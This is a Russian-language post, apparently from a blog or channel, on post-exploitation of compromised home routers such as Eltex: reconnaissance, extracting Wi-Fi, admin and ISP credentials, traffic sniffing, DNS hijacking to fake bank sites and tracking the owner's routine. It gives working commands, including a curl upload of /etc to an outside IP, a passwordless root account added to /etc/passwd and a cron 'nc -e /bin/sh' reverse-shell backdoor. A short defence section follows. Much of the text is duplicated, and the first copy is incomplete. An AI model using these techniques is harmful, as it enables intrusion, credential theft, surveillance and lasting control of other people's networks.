В прошлый раз мы разобрали, как получить доступ к роутерам Eltex (и аналогичным) через уязвимости CVE-2020-9026 и CVE-2018-15360. Сегодня поговорим о том, что делать дальше. Какие данные можно вытащить из роутера, где они лежат и как их использовать.
1. Разведка: что за роутер и кто в сети
После входа в систему (например, через reverse shell или стандартные учётки) первым делом стоит понять окружение.
Узнать модель и версию прошивки можно через uname -a или просмотром файлов /proc/version, /etc/version. Это нужно для подбора специфических уязвимостей под конкретную версию.
Посмотреть ARP-таблицу (список всех устройств в локальной сети) — команда arp -a или ip neigh. Она показывает MAC-адреса и локальные IP (обычно 192.168.х.х). По MAC можно определить производителя (ноутбук, телефон, телевизор).
DHCP-аренда (если роутер раздаёт IP) хранится в файлах /tmp/dhcp.leases или /var/lib/dhcp/dhcpd.leases. Это позволяет узнать, сколько устройств в сети и какие у них IP.
Активные сетевые подключения можно посмотреть через netstat -tuna или ss -tuna. Они показывают, куда и с какими портами общаются устройства.
Маршрутизация — команда ip route. Позволяет увидеть шлюзы и возможные скрытые сегменты сети.
Полный конфигурационный файл часто лежит в /etc/config/ (OpenWrt), /tmp/cfg.conf, backup.cfg или romfile.cfg. Внутри нередко встречаются пароли провайдера, Wi-Fi и админки в открытом виде или в простом шифровании.
Пароль от веб-интерфейса (админки) может быть в /etc/lighttpd/lighttpd.conf (файл паролей .htpasswd) или в скриптах авторизации. Если заполучить пароль от админки, можно менять любые настройки вплоть до полной блокировки владельца.
Пароль от Wi-Fi (WPA/WPA2) обычно записан в /etc/config/wireless (OpenWrt), в конфигах hostapd (/var/run/hostapd.conf) или в резервной копии конфига. Это даёт доступ в локальную сеть с любого устройства.
Правила файрвола, проброс портов (Port Forwarding), DMZ, доступ по WAN — всё это хранится в конфигах iptables (/etc/iptables/) или в /etc/config/firewall. Зная их, можно понять, какие сервисы открыты наружу, и использовать их для доступа.
Пользователи с доступом по SSH/Telnet находятся в /etc/passwd и /etc/shadow (там же хэши паролей). Можно попытаться подобрать пароль или добавить своего пользователя.
3. Данные провайдера (PPPoE, VLAN)
Эти данные позволяют поднять свой «канал» в обход владельца, оставаясь в его сети.
PPPoE логин и пароль часто лежат в /etc/config/network (OpenWrt), в резервной копии, а также видны в выводе ps aux | grep pppd (в командной строке демона обычно прописан логин). Специальные утилиты могут извлечь пароль из конфигурационного файла.
VLAN ID, если используется, также прописан в сетевых конфигах. Зная его, можно поднять свой VLAN и имитировать подключение провайдера без роутера.
Логи авторизации (кто и когда заходил в админку) обычно пишутся в syslog, /var/log/messages или /tmp/login.log. Они показывают, как часто владелец вообще заходит в настройки и не заподозрит ли что-то.
DNS-логи (история посещённых сайтов) можно получить, если роутер использует dnsmasq — тогда логи бывают в /var/log/dnsmasq.log или в системном логе. Альтернативно — перенастроить DNS роутера на свой сервер и слушать запросы.
Для сниффинга трафика (атака «человек посередине») на роутере можно запустить tcpdump -i br0 -w capture.pcap, а затем скачать файл. Или использовать bettercap для ARP-spoofing. Это позволяет перехватывать пароли и куки, если сайты работают по HTTP.
Подмена DNS (DNS-hijacking) выполняется путём изменения настроек DNS в самом роутере на свои. После этого все устройства в сети начнут открывать поддельные сайты банков, соцсетей.
OSINT через метаданные трафика — анализ времени активности устройств даёт понять режим дня жертвы, используемые сервисы, а иногда и географические данные (по задержкам).
Утилиты tftp, scp, wget, curl позволяют отправлять файлы на внешний сервер. Например, можно заархивировать папку и отправить её командой:
Если роутер не имеет выхода в интернет, можно использовать base64. Команда cat /etc/passwd | base64 -w 0 выведет файл в консоль в закодированном виде, который легко скопировать и декодировать на своём компьютере.
Для дампа прошивки (глубокий анализ) используют dd if=/dev/mtdblock0 of=/tmp/firmware.bin (названия разделов зависят от модели). Затем прошивку скачивают и анализируют на своём ПК через binwalk.
6. Закрепление доступа (Persistence)
Чтобы не потерять контроль, даже если хозяин сменит пароль, применяют несколько приёмов.
Добавление SSH-ключа: на своём ПК генерируют ключ командой ssh-keygen -t rsa -b 4096, затем публичный ключ копируют в файлы /etc/dropbear/authorized_keys или /root/.ssh/authorized_keys. После этого можно заходить по SSH без пароля.
Добавление своего пользователя с правами root: echo "hacker::0:0:root:/root:/bin/sh" >> /etc/passwd. Так появляется учётная запись hacker без пароля.
Бэкдор через крон (crontab): прописывают задание echo "*/5 * * * * nc -e /bin/sh 151.234.х.х 9001" >> /etc/crontabs/root. Теперь каждые 5 минут роутер будет пытаться соединиться с указанным IP и портом.
Открытие нестандартного порта для SSH: если роутер использует dropbear, можно добавить опцию -p 53282 в файл /etc/init.d/dropbear. Это скроет SSH от поверхностных сканеров, которые проверяют только стандартные порты.
7. Сводная таблица для быстрого ориентира (без команд)
Список устройств в сети — ARP-таблица, DHCP-лиз. Используется для разведки внутренней сети.
Wi-Fi пароль — конфиг беспроводной сети. Даёт доступ к Wi-Fi с любого устройства.
Пароль админки — конфиг веб-сервера. Обеспечивает полный контроль над роутером.
PPPoE логин и пароль провайдера — сетевые конфиги. Позволяют подключиться к интернету напрямую.
Логи, DNS-запросы — syslog, dnsmasq. Используются для отслеживания активности.
Трафик (через сниффинг) — tcpdump, bettercap. Позволяет перехватывать пароли, куки.
SSH-ключи — /etc/dropbear. Дают постоянный доступ.
8. Защита
Если вы владелец роутера, чтобы не стать жертвой описанных методов, следует:
Отключить ненужные сервисы (Telnet, WAN-доступ к веб-морде, UPnP).
Сменить пароль веб-интерфейса на сложный (не user/user).
Отключить Ping из WAN, если он не нужен.
Регулярно обновлять прошивку — производители закрывают известные дыры.
Проверить наличие левых SSH-ключей в /etc/dropbear/authorized_keys.
Использовать гостевую Wi-Fi сеть для отделения личных устройств.
Для максимальной защиты — блокировать доступ к админке из LAN и настраивать доступ только по SSH через WireGuard.
9. Заключение
Доступ к роутеру открывает широкие возможности: от банальной кражи пароля от Wi-Fi до полного контроля над всей домашней сетью и перехвата трафика. В статье мы разобрали, какие данные можно извлечь (конфигурации, пароли, логи, сведения о провайдере), как закрепиться в системе, чтобы не потерять доступ, и как использовать роутер для дальнейших атак.
Для владельцев оборудования это ещё раз подтверждает важность регулярного обновления прошивок, смены стандартных паролей и отключения неиспользуемых сервисов. Для исследователей безопасности эта информация поможет лучше понять, какие векторы атак существуют и как их обнаружить.
Надеюсь, материал был полезен, спасибо за внимание:)
1. Разведка: что за роутер и кто в сети
После входа в систему (например, через reverse shell или стандартные учётки) первым делом стоит понять окружение.
Узнать модель и версию прошивки можно через uname -a или просмотром файлов /proc/version, /etc/version. Это нужно для подбора специфических уязвимостей под конкретную версию.
Посмотреть ARP-таблицу (список всех устройств в локальной сети) — команда arp -a или ip neigh. Она показывает MAC-адреса и локальные IP (обычно 192.168.х.х). По MAC можно определить производителя (ноутбук, телефон, телевизор).
DHCP-аренда (если роутер раздаёт IP) хранится в файлах /tmp/dhcp.leases или /var/lib/dhcp/dhcpd.leases. Это позволяет узнать, сколько устройств в сети и какие у них IP.
Активные сетевые подключения можно посмотреть через netstat -tuna или ss -tuna. Они показывают, куда и с какими портами общаются устройства.
Маршрутизация — команда ip route. Позволяет увидеть шлюзы и возможные скрытые сегменты сети.
- Настройки самого роутера (ключи в замке)
Полный конфигурационный файл часто лежит в /etc/config/ (OpenWrt), /tmp/cfg.conf, backup.cfg или romfile.cfg. Внутри нередко встречаются пароли провайдера, Wi-Fi и админки в открытом виде или в простом шифровании.
Пароль от веб-интерфейса (админки) может быть в /etc/lighttpd/lighttpd.conf (файл паролей .htpasswd) или в скриптах авторизации. Если заполучить пароль от админки, можно менять любые настройки вплоть до полной блокировки владельца.
Пароль от Wi-Fi (WPA/WPA2) обычно записан в /etc/config/wireless (OpenWrt), в конфигах hostapd (/var/run/hostapd.conf) или в резервной копии конфига. Это даёт доступ в локальную сеть с любого устройства.
Правила файрвола, проброс портов (Port Forwarding), DMZ, доступ по WAN — всё это хранится в конфигах iptables (/etc/iptables/) или в /etc/config/firewall. Зная их, можно понять, какие сервисы открыты наружу, и использовать их для доступа.
Пользователи с доступом по SSH/Telnet находятся в /etc/passwd и /etc/shadow (там же хэши паролей). Можно попытаться подобрать пароль или добавить своего пользователя.
3. Данные провайдера (PPPoE, VLAN)
Эти данные позволяют поднять свой «канал» в обход владельца, оставаясь в его сети.
PPPoE логин и пароль часто лежат в /etc/config/network (OpenWrt), в резервной копии, а также видны в выводе ps aux | grep pppd (в командной строке демона обычно прописан логин). Специальные утилиты могут извлечь пароль из конфигурационного файла.
VLAN ID, если используется, также прописан в сетевых конфигах. Зная его, можно поднять свой VLAN и имитировать подключение провайдера без роутера.
- Персональные данные и слежка
Логи авторизации (кто и когда заходил в админку) обычно пишутся в syslog, /var/log/messages или /tmp/login.log. Они показывают, как часто владелец вообще заходит в настройки и не заподозрит ли что-то.
DNS-логи (история посещённых сайтов) можно получить, если роутер использует dnsmasq — тогда логи бывают в /var/log/dnsmasq.log или в системном логе. Альтернативно — перенастроить DNS роутера на свой сервер и слушать запросы.
Для сниффинга трафика (атака «человек посередине») на роутере можно запустить tcpdump -i br0 -w capture.pcap, а затем скачать файл. Или использовать bettercap для ARP-spoofing. Это позволяет перехватывать пароли и куки, если сайты работают по HTTP.
Подмена DNS (DNS-hijacking) выполняется путём изменения настроек DNS в самом роутере на свои. После этого все устройства в сети начнут открывать поддельные сайты банков, соцсетей.
OSINT через метаданные трафика — анализ времени активности устройств даёт понять режим дня жертвы, используемые сервисы, а иногда и географические данные (по задержкам).
- Инструменты для извлечения данных
Утилиты tftp, scp, wget, curl позволяют отправлять файлы на внешний сервер. Например, можно заархивировать папку и отправить её командой:
tar -czf - /etc | curl -X POST -F "data=@-" http://151.234.х.х/upload
Если роутер не имеет выхода в интернет, можно использовать base64. Команда cat /etc/passwd | base64 -w 0 выведет файл в консоль в закодированном виде, который легко скопировать и декодировать на своём компьютере.
Для дампа прошивки (глубокий анализ) используют dd if=/dev/mtdblock0 of=/tmp/firmware.bin (названия разделов зависят от модели). Затем прошивку скачивают и анализируют на своём ПК через binwalk.
6. Закрепление доступа (Persistence)
Чтобы не потерять контроль, даже если хозяин сменит пароль, применяют несколько приёмов.
Добавление SSH-ключа: на своём ПК генерируют ключ командой ssh-keygen -t rsa -b 4096, затем публичный ключ копируют в файлы /etc/dropbear/authorized_keys или /root/.ssh/authorized_keys. После этого можно заходить по SSH без пароля.
Добавление своего пользователя с правами root: echo "hacker::0:0:root:/root:/bin/sh" >> /etc/passwd. Так появляется учётная запись hacker без пароля.
Бэкдор через крон (crontab): прописывают задание echo "*/5 * * * * nc -e /bin/sh 151.234.х.х 9001" >> /etc/crontabs/root. Теперь каждые 5 минут роутер будет пытаться соединиться с указанным IP и портом.
Открытие нестандартного порта для SSH: если роутер использует dropbear, можно добавить опцию -p 53282 в файл /etc/init.d/dropbear. Это скроет SSH от поверхностных сканеров, которые проверяют только стандартные порты.
7. Сводная таблица для быстрого ориентира (без команд)
Список устройств в сети — ARP-таблица, DHCP-лиз. Используется для разведки внутренней сети.
Wi-Fi пароль — конфиг беспроводной сети. Даёт доступ к Wi-Fi с любого устройства.
Пароль админки — конфиг веб-сервера. Обеспечивает полный контроль над роутером.
PPPoE логин и пароль провайдера — сетевые конфиги. Позволяют подключиться к интернету напрямую.
Логи, DNS-запросы — syslog, dnsmasq. Используются для отслеживания активности.
Трафик (через сниффинг) — tcpdump, bettercap. Позволяет перехватывать пароли, куки.
SSH-ключи — /etc/dropbear. Дают постоянный доступ.
8. Защита
Если вы владелец роутера, чтобы не стать жертвой описанных методов, следует:
Отключить ненужные сервисы (Telnet, WAN-доступ к веб-морде, UPnP).
Сменить пароль веб-интерфейса на сложный (не user/user).
Отключить Ping из WAN, если он не нужен.
Регулярно обновлять прошивку — производители закрывают известные дыры.
Проверить наличие левых SSH-ключей в /etc/dropbear/authorized_keys.
Использовать гостевую Wi-Fi сеть для отделения личных устройств.
Для максимальной защиты — блокировать доступ к админке из LAN и настраивать доступ только по SSH через WireGuard.
9. Заключение
Доступ к роутеру открывает широкие возможности: от банальной кражи пароля от Wi-Fi до полного контроля над всей домашней сетью и перехвата трафика. В статье мы разобрали, какие данные можно извлечь (конфигурации, пароли, логи, сведения о провайдере), как закрепиться в системе, чтобы не потерять доступ, и как использовать роутер для дальнейших атак.
Для владельцев оборудования это ещё раз подтверждает важность регулярного обновления прошивок, смены стандартных паролей и отключения неиспользуемых сервисов. Для исследователей безопасности эта информация поможет лучше понять, какие векторы атак существуют и как их обнаружить.
Надеюсь, материал был полезен, спасибо за внимание:)
👍13
👏2
💯4
LIMB